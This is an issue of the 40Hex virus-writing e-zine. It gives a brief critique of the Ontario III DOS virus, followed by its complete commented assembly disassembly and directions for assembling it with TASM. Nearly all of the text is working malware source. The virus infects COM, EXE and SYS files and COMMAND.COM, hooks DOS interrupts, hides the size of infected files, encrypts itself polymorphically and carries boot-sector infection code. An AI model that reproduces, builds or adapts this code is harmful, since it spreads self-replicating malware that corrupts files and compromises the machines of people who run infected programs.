40Hex Issue 10 Volume 3 Number 1 File 008 The Ontario III virus was written by one of our YAM friends up in Canada, Death Angel. The virus infects COM/EXE files. Additionally, it attaches to SYS files yet does not truly infect them. When the virus is executed from a SYS file, it goes resident yet it never alters the interrupt vectors. Therefore, it is merely taking up space in memory. The virus automatically attacks COMSPEC upon receiving control, whether it is in a COM, EXE, or SYS host file. However, I suspect that the virus will have trouble dealing with command interpreters apart from COMMAND.COM, as it makes certain assumptions, i.e. the end of the file is filled with null characters. The virus utilises a simple polymorphic routine, although the decryptor is of a fixed length. The polymorphism is therefore of questionable utility. Additionally, the boot sector is pointless as it is never accessed. There are a few additional bugs in the virus which detract from its overall quality. ------------------------------------------------------------------------------- .model tiny .code ; Ontario III ; Disassembly by Dark Angel of Phalcon/Skism ; Assemble with TASM /m ONTARIO3.ASM ; Virus written by Death Angel of YAM org 0 decrypt: patch1: mov di,offset endvirus ; usually: offset enddecrypt patch2 = $ - 2 patch3 = $ mov cx,37E5h patch4 = $ - 2 patch5: db 82h, 0C5h, 0D0h ; add ch,0D0h patch6 = $ - 1 patch7: mov al,0Ah patch8 = $ - 1 decrypt_loop: add cs:[di],al patch9 = $ - 1 patch10: ror al,cl patch11 = $ - 1 patch12: inc di patch13: loop decrypt_loop enddecrypt: patch14: db 89h, 0FBh ; mov bx,di patch15 = $ - 1 sub bx,offset save4 xchg ax,cx dec ax cld call saveorigvectors db 0e9h ; jmp SYSpatch dw 0 ; currently jmp to next line int 21h ; installation check or al,ah jz restorefile push ds mov cx,bx mov di,ds ; save current ds mov ah,13h ; get BIOS int 13h handler int 2Fh ; to ds:dx and es:bx mov si,ds ; does function function? cmp si,di je skipit push ds push dx mov ah,13h ; restore handler int 2Fh mov bx,cx ; but save its address too pop word ptr cs:[bx+storeint13_1] pop word ptr cs:[bx+storeint13_2] skipit: xor di,di mov cx,es dec cx mov ds,cx ; get MCB of current program sub word ptr [di+3],140h ; decrease size by 5K mov ax,[di+12h] ; get high memory from PSP sub ax,140h ; decrease size by 5K mov [di+12h],ax ; replace it mov es,ax ; es->high memory segment sub ax,1000h mov word ptr cs:[bx+patchsegment],ax push cs pop ds mov si,bx mov cx,offset save4 rep movsb mov ds,cx cli mov word ptr ds:21h*4,offset int21 ; set int 21h handler mov ds:21h*4+2,es ; to virus's sti mov ax,4BFFh ; infect COMSPEC push bx int 21h pop bx pop ds push ds pop es restorefile: lea si,[bx+offset save4] mov di,100h cmp bx,di jb restoreEXE push di movsw movsw retn restoreEXE: mov ax,es ; get start segment add ax,10h ; adjust for PSP add cs:[si+2],ax ; relocate CS add cs:[si+4],ax ; relocate SS cli mov sp,cs:[si+6] ; restore stack mov ss,cs:[si+4] sti jmp dword ptr cs:[si] int21instcheck: inc ax iret int21: cmp ax,0FFFFh ; installation check? je int21instcheck cmp ah,4Bh ; execute? je execute cmp ah,11h ; FCB find first? je findfirstnext cmp ah,12h ; FCB find next? je findfirstnext cmp ax,3D00h ; open file read only? jne int21exit call handleopen int21exit: db 0EAh ; jmp far ptr oldint21 dd 0 findfirstnext: ; standard stealth routine push bp mov bp,sp cmp word ptr [bp+4],1234h patchsegment = $ - 2 pop bp jb int21exit call callint21 ; do findfirst/next call pushall mov ah,2Fh ; Get DTA call callint21 cmp byte ptr es:[bx],0FFh ; extended FCB? je findfirstnextnotextendedFCB sub bx,7 ; convert to standard findfirstnextnotextendedFCB: mov al,es:[bx+1Eh] ; get seconds counter and al,1Fh ; check if 62 seconds cmp al,1Fh ; (infection marker) jne findfirstnextexit ; exit if not mov dx,es:[bx+26h] ; get file size mov ax,es:[bx+24h] sub ax,viruslength ; decrease by virus sbb dx,0 ; size or dx,dx jc findfirstnextexit mov es:[bx+26h],dx ; replace file size mov es:[bx+24h],ax ; with "stealthed" one findfirstnextexit: call popall iret execute: mov byte ptr cs:infectSYS,0 cmp al,1 ; load/don't execute je load_noexecute cmp al,0FFh ; called by virus je infectCOMSPEC call infectDSDX jmp short int21exit infectCOMMANDCOM: mov byte ptr cs:infectSYS,0 push dx push ds mov dx,offset command_com push cs pop ds mov byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM call infectDSDX pop ds pop dx iret infectCOMSPEC: mov ah,51h ; Get current PSP call callint21 mov es,bx mov ds,es:[2Ch] ; environment block xor si,si push cs pop es infectCOMSPECfindcomspec: mov di,offset comspec ; is 'COMSPEC=' the first mov cx,4 ; entry in environment? repe cmpsw ; (should be) jcxz infectCOMSPECnoenvironment ; otherwise, quit infectCOMSPECfindend: lodsb ; search for end of string or al,al jnz infectCOMSPECfindend cmp byte ptr [si],0 ; found it? jne infectCOMSPECfindcomspec; nope, try again jmp short infectCOMMANDCOM ; otherwise, infect infectCOMSPECnoenvironment: mov dx,si mov byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM call infectDSDX ; but are we really? Maybe iret ; it's 4DOS. This is a bug. load_noexecute: push es ; save parameter block push bx call callint21 ; prechain pop bx pop es call pushall jnc load_noexecute_ok ; continue if no error jmp load_noexecute_exit load_noexecute_ok: xor cx,cx lds si,dword ptr es:[bx+12h]; get entry point on return push ds push si mov di,100h cmp si,di jl loading_EXE ja load_noexecute_quit ; debugger active lodsb cmp al,0E9h ; check if infected jne load_noexecute_quit lodsw push ax ; save jmp location lodsb cmp al,'O' ; check for infection marker pop si ; get jmp location jnz load_noexecute_quit add si,103h ; convert to file offset inc cx inc cx pop ax push si push ds pop es jmp short check_infection loading_EXE: lea di,[bx+0Eh] ; check SS:SP on return cmp word ptr es:[di],9FFh ; infected? jne load_noexecute_quit check_infection: lodsb cmp al,0BBh ; possibility 1 je infected_checked1 cmp al,0BEh ; possibility 2 je infected_checked1 cmp al,0BFh ; possibility 3 jne load_noexecute_quit infected_checked1: lodsw ; get starting offset push ax ; to decrypt lodsb ; get next byte cmp al,0B9h ; check for infection lodsw pop si ; offset to decrypt jnz load_noexecute_quit cmp ah,7 ; check if infected je infected_checked2 cmp al,0E5h ; ditto jne load_noexecute_quit infected_checked2: add si,save4 - enddecrypt jcxz disinfectEXE rep movsw jmp short finish_disinfection disinfectEXE: mov ah,51h ; Get current PSP call callint21 add bx,10h ; go to file starting CS mov ax,[si+6] dec ax dec ax stosw mov ax,[si+4] add ax,bx stosw movsw lodsw add ax,bx stosw finish_disinfection: pop di pop es xchg ax,cx mov cx,viruslength rep stosb jmp short load_noexecute_exit load_noexecute_quit: pop ax pop ax load_noexecute_exit: call popall retf 2 handleopen: call pushall mov si,dx ; find extension of handleopenscanloop: ; ASCIIZ string lodsb or al,al ; found end of screen? jz handleopenexit ; yup, no extension -- exit cmp al,'.' ; extension found? jne handleopenscanloop mov di,offset validextensions - 3 push cs pop es mov cx,4 nop scanvalidextension: push cx push si mov cl,3 add di,cx push di check_extension: lodsb and al,5Fh ; Capitalise cmp al,es:[di] ; do they compare ok? jne extension_no_match ; nope, try next one inc di loop check_extension cmp al,'S' ; SYS file? jne opennotSYS mov byte ptr cs:infectSYS,0FFh ; infecting SYS file opennotSYS: call infectDSDX add sp,6 jmp short handleopenexit extension_no_match: pop di pop si pop cx loop scanvalidextension handleopenexit: call popall retn infectDSDX: call pushall call replaceint13and24 push dx push ds mov ax,4300h ; get attributes call callint21 push cx pushf jc go_restoreattribs push cx and cl,1 ; check if read only cmp cl,1 jne infectDSDXnoclearattributes xor cx,cx ; clear if so mov ax,4301h call callint21 infectDSDXnoclearattributes: pop cx and cl,4 cmp cl,4 je go_restoreattribs mov ax,3D02h ; open file read/write call callint21 jnc infectDSDXopenOK ; continue if no error go_restoreattribs: jmp infectDSDXrestoreattributes infectDSDXopenOK: xchg ax,bx ; handle to bx push cs push cs pop ds pop es mov word ptr ds:SYSpatch,0 mov ax,5700h ; save file time/date call callint21 push dx push cx and cl,1Fh ; check if infected cmp cl,1Fh ; (seconds == 62) je infectDSDXerror mov dx,offset readbuffer ; read header from mov cx,1Ch ; potential carrier mov ah,3Fh ; file to the call callint21 ; buffer jnc infectDSDXreadOK ; continue if no error infectDSDXerror: stc ; mark error jmp infectDSDXclose ; and exit infectDSDXreadOK: cmp ax,cx ; read 1ch bytes? jne infectDSDXerror ; exit if not xor dx,dx mov cx,dx mov ax,4202h ; go to end of file call callint21 or dx,dx jnz infectDSDXfilelargeenough cmp ax,0A01h ; check if too small jb infectDSDXerror infectDSDXfilelargeenough: cmp dl,5 ja infectDSDXerror cmp word ptr ds:readbuffer,'ZM' ; EXE? je infectDSDXskipcheck cmp word ptr ds:readbuffer,'MZ' ; EXE? infectDSDXskipcheck: je infectDSDXcheckEXE cmp byte ptr ds:infectSYS,0FFh ; infecting SYS file? jne infectDSDXcheckCOM cmp word ptr ds:readbuffer,0FFFFh ; check if SYS jne infectDSDXerror ; file cmp word ptr ds:readbuffer+2,0FFFFh isanoverlay: jne infectDSDXerror or dx,dx jnz infectDSDXerror push ax ; save file size mov di,offset save4 mov ax,5657h ; push di, push si stosw mov ax,0E953h ; push bx, jmp decrypt stosw mov ax,offset decrypt - (offset save4 + 6) stosw mov ax,word ptr ds:readbuffer+6 ; get strategy start point stosw pop ax ; get file size push ax add ax,offset save4 mov word ptr ds:readbuffer+6,ax mov word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2) mov byte ptr ds:decrypt_loop,36h ; replace with SS: pop ax add ax,offset enddecrypt jmp short go_infectDSDXcontinue infectDSDXcheckCOM: cmp byte ptr ds:readbuffer+3,'O'; check if already infected jmp_infectDSDXerror: je infectDSDXerror cmp byte ptr ds:infCOMMAND,0; infecting COMMAND.COM? je dontdoslackspace sub ax,viruslength ; infect slack space of xchg ax,dx ; command.com xor cx,cx mov ax,4200h call callint21 dontdoslackspace: mov si,offset readbuffer mov di,offset save4 movsw movsw sub ax,3 ; convert size->jmp dest mov byte ptr ds:readbuffer,0E9h ; encode JMP mov word ptr ds:readbuffer+1,ax ; and destination mov byte ptr ds:readbuffer+3,'O' ; mark infected add ax,116h go_infectDSDXcontinue: jmp short infectDSDXcontinue infectDSDXcheckEXE: cmp word ptr ds:readbuffer+10h,0A01h ; already infected? je jmp_infectDSDXerror cmp word ptr ds:readbuffer+1Ah,0 jne isanoverlay ; exit if it's an overlay push dx push ax mov cl,4 ror dx,cl shr ax,cl add ax,dx ; ax:dx = file size sub ax,word ptr ds:readbuffer+8 ; subtract header size mov si,offset readbuffer+14h mov di,offset origCSIP movsw ; save initial CS:IP movsw mov si,offset readbuffer+0Eh movsw ; save initial SS:SP movsw mov word ptr ds:readbuffer+16h,ax ; set initial CS mov word ptr ds:readbuffer+0Eh,ax ; set initial SS mov word ptr ds:readbuffer+10h,0A01h ; set initial SP pop ax pop dx push ax add ax,0A01h ; adc dx,0 works just as well jnc infectEXEnocarry inc dx infectEXEnocarry: mov cx,200h ; take image size div cx ; The next line is not entirely corrrect. The image size ; div 512 is rounded up. Therefore, DOS will find this number ; to be off by 512d bytes mov word ptr ds:readbuffer+4,ax ; image size div 512 mov word ptr ds:readbuffer+2,dx ; image size mod 512 pop ax and ax,0Fh mov word ptr ds:readbuffer+14h,ax ; set initial IP add ax,offset enddecrypt infectDSDXcontinue: mov word ptr ds:patch2,ax ; patch start area push bx ; save file handle xor byte ptr ds:decrypt_loop,18h ; swap SS: & CS: call encrypt ; encrypt virus to buffer pop bx ; restore file handle mov ah,40h ; Concatenate encrypted call callint21 ; virus jc infectDSDXclose ; exit on error xor dx,dx mov cx,dx mov ax,4200h ; go to start of file call callint21 jc infectDSDXclose mov dx,offset readbuffer mov cx,1Ch mov ah,40h ; Write new header call callint21 infectDSDXclose: pop cx pop dx jc infectDSDXnoaltertime cmp byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM? je infectDSDXnoaltertime or cl,1Fh ; set time to 62 seconds infectDSDXnoaltertime: mov ax,5701h ; restore file time/date call callint21 mov ah,3Eh ; Close file call callint21 infectDSDXrestoreattributes: mov byte ptr cs:infCOMMAND,0 mov byte ptr cs:infectSYS,0 popf pop cx pop ds pop dx jc infectDSDXexit mov ax,4301h ; restore file attributes call callint21 infectDSDXexit: call restoreint13and24 call popall retn pushall: push bp mov bp,sp push bx push cx push dx push si push di push ds push es pushf xchg ax,[bp+2] push ax mov ax,[bp+2] retn popall: pop ax xchg ax,[bp+2] popf pop es pop ds pop di pop si pop dx pop cx pop bx pop bp retn replaceint13and24: push ds xor ax,ax mov ds,ax mov si,13h*4 lodsw mov word ptr cs:origint13_1,ax lodsw mov word ptr cs:origint13_2,ax mov si,24h*4 lodsw mov word ptr cs:origint24_1,ax lodsw mov word ptr cs:origint24_2,ax mov word ptr ds:13h*4,1234h storeint13_1 = $ - 2 mov word ptr ds:13h*4+2,1234h storeint13_2 = $ - 2 mov word ptr ds:24h*4,offset int24 ; replace int 24 handler mov ds:24h*4+2,cs pop ds retn restoreint13and24: xor ax,ax mov ds,ax mov word ptr ds:13h*4,1234h origint13_1 = $ - 2 mov word ptr ds:13h*4+2,1234h origint13_2 = $ - 2 mov word ptr ds:24h*4,1234h origint24_1 = $ - 2 mov word ptr ds:24h*4+2,1234h origint24_2 = $ - 2 retn int24: xor al,al iret encrypt: mov di,offset patch4 mov si,di mov word ptr [si],offset save4 - offset enddecrypt xor bx,bx call random jz encrypt1 add bl,4 inc di encrypt1: call random in al,40h ; get random # mov bh,al jz encrypt2 add [di],al ; alter amount to encrypt add bl,28h jmp short encrypt3 encrypt2: sub [di],al ; alter amount to encrypt encrypt3: add bl,0C1h mov [si+3],bx call random jz encrypt4 xor byte ptr [si+2],2 ; flip betwen add/sub encrypt4: in ax,40h ; get random number != 0 or ax,ax jz encrypt4 mov bx,3 ; first choose one of xor dx,dx ; three possible registers div bx xchg ax,bx inc ax ; ax = 4 mul dx ; convert to offset in xchg ax,bx ; table lea si,[bx+offset table1] lodsb mov byte ptr ds:patch1,al lodsb mov byte ptr ds:patch9,al lodsb mov byte ptr ds:patch12,al lodsb mov byte ptr ds:patch15,al call random jz encrypt5 xor byte ptr ds:patch13,2 ; loop/loopnz encrypt5: in ax,40h ; get random number mov byte ptr ds:patch8,ah and ax,0Fh xchg ax,bx shl bx,1 mov ax,[bx+offset table2] mov word ptr ds:patch10,ax xor si,si mov di,offset encryptbuffer ; copy virus to mov cx,endvirus - decrypt ; temporary buffer push cx ; for encryption cld rep movsb mov bx,offset enddecrypt push word ptr [bx] ; save it mov byte ptr [bx],0C3h ; put retn in its place push bx xor byte ptr [bx-7],28h ; sub/add push word ptr ds:decrypt_loop mov byte ptr [bx-8],2Eh ; CS: mov dx,offset encryptbuffer add bx,dx mov word ptr ds:patch2,bx call decrypt pop word ptr ds:decrypt_loop pop bx pop word ptr [bx] pop cx retn random: ; 1/2 chance of zero flag set in al,40h and al,1 cmp al,1 retn saveorigvectors: push ds push ax xor ax,ax mov ds,ax mov ax,ds:13h*4 mov word ptr cs:[bx+storeint13_1],ax mov ax,ds:13h*4+2 mov word ptr cs:[bx+storeint13_2],ax mov ax,ds:21h*4 mov word ptr cs:[bx+offset oldint21],ax mov ax,ds:21h*4+2 mov word ptr cs:[bx+offset oldint21+2],ax pop ax pop ds retn strategy: mov word ptr cs:[bx+doffset],bx ; save delta offset pop bx pop di pop si call pushall push cs pop ds mov bx,1234h ; restore delta offset doffset = $ - 2 db 8bh, 87h ; mov ax,ds:[save4+6] dw offset save4 + 6 ; get old strategy entry point mov word ptr ds:[6],ax ; and restore to file header int 12h ; Get memory size in K sub ax,5 ; decrease by 5 K mov cl,6 ; convert to paragraphs shl ax,cl mov es,ax mov word ptr ds:[bx+himemsegment],ax cmp byte ptr es:[3],0B9h ; check if already installed je strategyexit mov si,bx ; copy to high memory xor di,di mov cx,viruslength rep movsb pushf db 09Ah ; call far ptr dw infectCOMMANDCOM himemsegment dw 0 strategyexit: call popall jmp word ptr cs:[6] ; go to original strategy table1 db 0BEh, 04h, 46h,0F3h ; si db 0BFh, 05h, 47h,0FBh ; di db 0BBh, 07h, 43h,0DBh ; bx table2: inc al dec al inc ax inc ax dec ax dec ax add al,cl sub al,cl xor al,cl xor al,ch not al neg al ror al,1 rol al,1 ror al,cl rol al,cl nop nop add al,ch comspec db 'COMSPEC=' command_com db '\COMMAND.COM',0 validextensions db 'COMEXEOVLSYS' bootsector: ; offset 600h in the virus jmp short bootsectorentry nop bootparms db 3Bh dup (0) bootsectorentry: xor ax,ax mov ds,ax cli mov ss,ax mov sp,7C00h sti mov ax,ds:13h*4 ; get int 13h handler mov word ptr ds:[7C00h+oldint13-bootsector],ax mov ax,ds:13h*4+2 ; and save it mov word ptr ds:[7C00h+oldint13+2-bootsector],ax mov ax,ds:[413h] ; get total memory sub ax,2 ; reduce by 2K mov ds:[413h],ax ; replace memory size mov cl,6 shl ax,cl ; convert to paragraphs sub ax,60h ; go to boot block start mov es,ax mov si,sp mov di,offset bootsector mov cx,100h rep movsw mov dx,offset highentry push es push dx retf highentry: xor ax,ax ; reset disk and dl,al int 13h push ds push es pop ds pop es mov bx,sp ; read to 0:7C00h mov dx,drivehead ; find where original boot mov cx,sectortrack ; block stored and then mov ax,201h ; read original boot int 13h ; sector jc $ ; halt on error xor ax,ax ; else chain to original mov ds,ax ; boot sector mov word ptr ds:13h*4,offset int13 mov ds:13h*4+2,cs ; replace int 13h handler push es push bx retf int13: push bp mov bp,sp push ds push es push si push di push dx push cx push bx push ax pushf xor bx,bx mov ds,bx test byte ptr ds:[43Fh],1 ; A: spinning? jnz exitint13 ; exit if so or dl,dl ; default drive? jnz exitint13 ; exit if not cmp ah,2 ; read/write/verify? jb exitint13 cmp ah,4 jbe trapint13 exitint13: popf pop ax pop bx pop cx pop dx pop di pop si pop es pop ds pop bp jmp dword ptr cs:oldint13 ; chain to original handler trapint13: cld push cs push cs pop es pop ds xor cx,cx mov dx,cx inc cx mov bx,offset endvirus ; read boot block to mov ax,201h ; buffer at endvirus call callint13 jnc int13readOK int13exit: jmp short exitint13 int13readOK: cmp word ptr [bx+15h],501Eh ; push ds, push ax? jne int13skip cmp word ptr [bx+35h],0FF2Eh; jmp cs: ? jne int13skip cmp word ptr [bx+70h],7505h ; add ax,XX75 ? jne int13skip mov dh,1 mov cl,3 mov ax,201h call callint13 xor dh,dh mov cl,1 mov ax,301h call callint13 int13skip: cmp word ptr ds:[offset endvirus-bootsector+YAM],'Y*' je int13exit ; don't infect self cmp word ptr ds:[offset endvirus+0Bh],200h jne int13exit ; infect only 512 bytes per sector cmp byte ptr ds:[offset endvirus+0Dh],2 jne int13exit ; only 2 reserved sectors cmp word ptr ds:[offset endvirus+1Ah],2 ja int13exit ; only 2 sec/track xor dx,dx ; calculate new location of boot block mov ax,word ptr ds:[offset endvirus+13h] ; total sec mov bx,word ptr ds:[offset endvirus+1Ah] ; sec/track mov cx,bx div bx ; # track xor dx,dx mov bx,word ptr ds:[offset endvirus+18h] ; sec/FAT div bx sub word ptr ds:[offset endvirus+13h],cx ; total sec dec ax mov byte ptr sectortrack+1,al mov ax,word ptr ds:[offset endvirus+18h] ; sec/FAT mov byte ptr sectortrack,al mov ax,word ptr ds:[offset endvirus+1Ah] ; sec/track dec ax mov byte ptr drivehead+1,al mov byte ptr drivehead,0 mov dx,drivehead ; move original boot block mov cx,sectortrack ; to end of disk mov bx,offset endvirus mov ax,301h call callint13 jc go_exitint13 mov si,offset endvirus+3 ; copy parameters so mov di,offset bootparms ; no one notices boot mov cx,bootsectorentry - bootparms ; block is changed rep movsb xor cx,cx mov dx,cx inc cx mov bx,offset bootsector ; copy virus boot block mov ax,301h call callint13 go_exitint13: jmp exitint13 callint21: pushf call dword ptr cs:oldint21 retn callint13: pushf call dword ptr cs:oldint13 retn oldint13 dd 0 drivehead dw 100h sectortrack dw 2709h YAM db '*YAM*',1Ah db 'Your PC has a bootache! - Get some medicine!',1Ah db 'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah save4: origCSIP db 0CDh, 020h, 0, 0 origSSSP dd 0 endvirus: viruslength = $ - decrypt infCOMMAND db ? infectSYS db ? readbuffer db 01Ch dup (?) encryptbuffer db viruslength dup (?) end decrypt ------------------------------------------------------------------------------- DA